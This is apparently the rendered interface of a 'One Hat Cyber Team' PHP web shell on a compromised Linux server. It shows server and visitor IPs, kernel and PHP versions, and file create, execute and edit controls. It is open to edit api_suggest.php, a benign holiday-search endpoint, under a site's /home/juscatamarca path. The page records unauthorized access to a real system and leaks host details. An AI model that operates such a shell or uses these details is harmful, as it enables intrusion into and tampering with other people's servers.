One Hat Cyber Team
Your IP :
104.23.243.58
Server IP :
172.67.218.182
Server :
Linux 128-201-239-36.cprapid.com 3.10.0-1160.41.1.el7.x86_64 #1 SMP Tue Aug 31 14:52:47 UTC 2021 x86_64
Server Software :
Apache
PHP Version :
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
juscatamarca
/
www
/
asuetos-feriados
/
public
/
Edit File:
api_suggest.php
<?php // public/api_suggest.php require_once __DIR__ . '/../app/config.php'; // $pdo, base_url() header('Content-Type: application/json; charset=utf-8'); $q = trim($_GET['q'] ?? ''); $out = []; if ($q !== '' && mb_strlen($q) >= 2) { try { $stmt = $pdo->prepare(" SELECT id, title, type, start_date, end_date FROM holidays WHERE title LIKE :q GROUP BY title, type, start_date, end_date, id ORDER BY LENGTH(title), title LIMIT 8 "); $stmt->execute([':q' => "%$q%"]); $rows = $stmt->fetchAll() ?: []; foreach ($rows as $r) { $range = $r['start_date'] . (!empty($r['end_date']) ? " → " . $r['end_date'] : ""); $out[] = [ 'id' => (int)$r['id'], 'title' => $r['title'], 'type' => $r['type'], 'range' => $range, ]; } } catch (Throwable $e) { // en caso de error, devolvemos vacío } } echo json_encode($out, JSON_UNESCAPED_UNICODE);
Simpan